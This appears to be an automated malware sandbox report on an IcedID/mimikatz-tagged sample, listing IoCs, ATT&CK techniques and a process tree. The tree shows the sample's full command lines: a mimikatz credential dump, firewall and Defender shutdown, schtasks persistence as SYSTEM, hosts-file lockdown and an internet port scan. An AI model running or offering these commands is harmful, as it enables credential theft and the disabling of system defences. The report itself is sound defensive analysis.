Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x00080000000234c7-6.dat	nsis_installer_2
behavioral2/files/0x00070000000234dd-15.dat	nsis_installer_1
behavioral2/files/0x00070000000234dd-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	iimkcmd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	iimkcmd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	iimkcmd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	iimkcmd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	rtucebkpz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	iimkcmd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	iimkcmd.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	iimkcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	iimkcmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	iimkcmd.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3608	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
840	schtasks.exe
4788	schtasks.exe
4300	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
3180	2024-07-23_3fb6486484d752689e076968a7f383cc_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	3180	2024-07-23_3fb6486484d752689e076968a7f383cc_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	3472	iimkcmd.exe
Token: SeDebugPrivilege	4156	iimkcmd.exe
Token: SeDebugPrivilege	1664	vfshost.exe
Token: SeDebugPrivilege	2288	rtucebkpz.exe
Token: SeLockMemoryPrivilege	3308	kawnpq.exe
Token: SeLockMemoryPrivilege	3308	kawnpq.exe
Token: SeDebugPrivilege	4928	rtucebkpz.exe
Token: SeDebugPrivilege	1968	rtucebkpz.exe
Token: SeDebugPrivilege	5116	rtucebkpz.exe
Token: SeDebugPrivilege	1668	rtucebkpz.exe
Token: SeDebugPrivilege	1920	rtucebkpz.exe
Token: SeDebugPrivilege	464	rtucebkpz.exe
Token: SeDebugPrivilege	4372	rtucebkpz.exe
Token: SeDebugPrivilege	1396	rtucebkpz.exe
Token: SeDebugPrivilege	2288	rtucebkpz.exe
Token: SeDebugPrivilege	1660	rtucebkpz.exe
Token: SeDebugPrivilege	3872	rtucebkpz.exe
Token: SeDebugPrivilege	4316	rtucebkpz.exe
Token: SeDebugPrivilege	4052	rtucebkpz.exe
Token: SeDebugPrivilege	408	rtucebkpz.exe
Token: SeDebugPrivilege	1184	rtucebkpz.exe
Token: SeDebugPrivilege	2308	rtucebkpz.exe
Token: SeDebugPrivilege	4920	rtucebkpz.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3180	2024-07-23_3fb6486484d752689e076968a7f383cc_hacktools_icedid_mimikatz.exe
3180	2024-07-23_3fb6486484d752689e076968a7f383cc_hacktools_icedid_mimikatz.exe
3472	iimkcmd.exe
3472	iimkcmd.exe
4156	iimkcmd.exe
4156	iimkcmd.exe
3740	xohudmc.exe
1468	varpws.exe
3336	iimkcmd.exe
3336	iimkcmd.exe
1616	iimkcmd.exe
1616	iimkcmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3180 wrote to memory of 4688	3180	2024-07-23_3fb6486484d752689e076968a7f383cc_hacktools_icedid_mimikatz.exe	85
PID 3180 wrote to memory of 4688	3180	2024-07-23_3fb6486484d752689e076968a7f383cc_hacktools_icedid_mimikatz.exe	85
PID 3180 wrote to memory of 4688	3180	2024-07-23_3fb6486484d752689e076968a7f383cc_hacktools_icedid_mimikatz.exe	85
PID 4688 wrote to memory of 3608	4688	cmd.exe	87
PID 4688 wrote to memory of 3608	4688	cmd.exe	87
PID 4688 wrote to memory of 3608	4688	cmd.exe	87
PID 4688 wrote to memory of 3472	4688	cmd.exe	90
PID 4688 wrote to memory of 3472	4688	cmd.exe	90
PID 4688 wrote to memory of 3472	4688	cmd.exe	90
PID 4156 wrote to memory of 1404	4156	iimkcmd.exe	92
PID 4156 wrote to memory of 1404	4156	iimkcmd.exe	92
PID 4156 wrote to memory of 1404	4156	iimkcmd.exe	92
PID 1404 wrote to memory of 968	1404	cmd.exe	94
PID 1404 wrote to memory of 968	1404	cmd.exe	94
PID 1404 wrote to memory of 968	1404	cmd.exe	94
PID 1404 wrote to memory of 2864	1404	cmd.exe	95
PID 1404 wrote to memory of 2864	1404	cmd.exe	95
PID 1404 wrote to memory of 2864	1404	cmd.exe	95
PID 1404 wrote to memory of 2920	1404	cmd.exe	96
PID 1404 wrote to memory of 2920	1404	cmd.exe	96
PID 1404 wrote to memory of 2920	1404	cmd.exe	96
PID 1404 wrote to memory of 3260	1404	cmd.exe	97
PID 1404 wrote to memory of 3260	1404	cmd.exe	97
PID 1404 wrote to memory of 3260	1404	cmd.exe	97
PID 1404 wrote to memory of 3696	1404	cmd.exe	98
PID 1404 wrote to memory of 3696	1404	cmd.exe	98
PID 1404 wrote to memory of 3696	1404	cmd.exe	98
PID 1404 wrote to memory of 4992	1404	cmd.exe	99
PID 1404 wrote to memory of 4992	1404	cmd.exe	99
PID 1404 wrote to memory of 4992	1404	cmd.exe	99
PID 4156 wrote to memory of 1660	4156	iimkcmd.exe	100
PID 4156 wrote to memory of 1660	4156	iimkcmd.exe	100
PID 4156 wrote to memory of 1660	4156	iimkcmd.exe	100
PID 4156 wrote to memory of 4416	4156	iimkcmd.exe	102
PID 4156 wrote to memory of 4416	4156	iimkcmd.exe	102
PID 4156 wrote to memory of 4416	4156	iimkcmd.exe	102
PID 4156 wrote to memory of 2928	4156	iimkcmd.exe	104
PID 4156 wrote to memory of 2928	4156	iimkcmd.exe	104
PID 4156 wrote to memory of 2928	4156	iimkcmd.exe	104
PID 4156 wrote to memory of 3508	4156	iimkcmd.exe	113
PID 4156 wrote to memory of 3508	4156	iimkcmd.exe	113
PID 4156 wrote to memory of 3508	4156	iimkcmd.exe	113
PID 3508 wrote to memory of 4064	3508	cmd.exe	115
PID 3508 wrote to memory of 4064	3508	cmd.exe	115
PID 3508 wrote to memory of 4064	3508	cmd.exe	115
PID 4064 wrote to memory of 1956	4064	wpcap.exe	116
PID 4064 wrote to memory of 1956	4064	wpcap.exe	116
PID 4064 wrote to memory of 1956	4064	wpcap.exe	116
PID 1956 wrote to memory of 1556	1956	net.exe	118
PID 1956 wrote to memory of 1556	1956	net.exe	118
PID 1956 wrote to memory of 1556	1956	net.exe	118
PID 4064 wrote to memory of 4584	4064	wpcap.exe	119
PID 4064 wrote to memory of 4584	4064	wpcap.exe	119
PID 4064 wrote to memory of 4584	4064	wpcap.exe	119
PID 4584 wrote to memory of 3780	4584	net.exe	121
PID 4584 wrote to memory of 3780	4584	net.exe	121
PID 4584 wrote to memory of 3780	4584	net.exe	121
PID 4064 wrote to memory of 4332	4064	wpcap.exe	122
PID 4064 wrote to memory of 4332	4064	wpcap.exe	122
PID 4064 wrote to memory of 4332	4064	wpcap.exe	122
PID 4332 wrote to memory of 1524	4332	net.exe	124
PID 4332 wrote to memory of 1524	4332	net.exe	124
PID 4332 wrote to memory of 1524	4332	net.exe	124
PID 4064 wrote to memory of 2204	4064	wpcap.exe	125

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2148
- C:\Windows\TEMP\qjfklwczb\kawnpq.exe
  "C:\Windows\TEMP\qjfklwczb\kawnpq.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3308

C:\Users\Admin\AppData\Local\Temp\2024-07-23_3fb6486484d752689e076968a7f383cc_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-07-23_3fb6486484d752689e076968a7f383cc_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3180
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ptypikwv\iimkcmd.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3608
- - C:\Windows\ptypikwv\iimkcmd.exe
    C:\Windows\ptypikwv\iimkcmd.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3472

C:\Windows\ptypikwv\iimkcmd.exe
C:\Windows\ptypikwv\iimkcmd.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4156
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:968
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:2864
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2920
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:3260
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3696
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:4992
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1660
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4416
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2928
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\fcbklmeji\ykckyizic\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Windows\fcbklmeji\ykckyizic\wpcap.exe
    C:\Windows\fcbklmeji\ykckyizic\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:4064
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1956
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:1556
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4584
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:3780
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4332
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:1524
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      PID:2204
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        
        PID:2308
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:3924
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:3472
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:3152
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:2608
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:1096
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:1872
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\fcbklmeji\ykckyizic\bbmwcrbuw.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\fcbklmeji\ykckyizic\Scant.txt
  2⤵
  PID:1508
- - C:\Windows\fcbklmeji\ykckyizic\bbmwcrbuw.exe
    C:\Windows\fcbklmeji\ykckyizic\bbmwcrbuw.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\fcbklmeji\ykckyizic\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1804
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\fcbklmeji\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\fcbklmeji\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:2488
- - C:\Windows\fcbklmeji\Corporate\vfshost.exe
    C:\Windows\fcbklmeji\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1664
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "edybcufnr" /ru system /tr "cmd /c C:\Windows\ime\iimkcmd.exe"
  2⤵
  PID:2412
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "edybcufnr" /ru system /tr "cmd /c C:\Windows\ime\iimkcmd.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4788
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ibcapbkez" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ptypikwv\iimkcmd.exe /p everyone:F"
  2⤵
  PID:1540
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ibcapbkez" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ptypikwv\iimkcmd.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "pijbwtibr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qjfklwczb\kawnpq.exe /p everyone:F"
  2⤵
  PID:844
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "pijbwtibr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qjfklwczb\kawnpq.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4300
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3220
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3180
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4568
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1312
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5072
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4328
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1536
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4912
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2336
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5076
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2380
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1888
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:3368
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:3808
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      PID:2372
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:2784
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4456
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:4324
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:2200
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    PID:1112
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      PID:1312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:2460
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:1448
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:2660
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:4056
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:3608
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:4388
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:1356
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:3476
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  PID:1916
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    PID:3268
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  PID:2896
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:3052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  PID:5056
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:3404
- C:\Windows\TEMP\fcbklmeji\rtucebkpz.exe
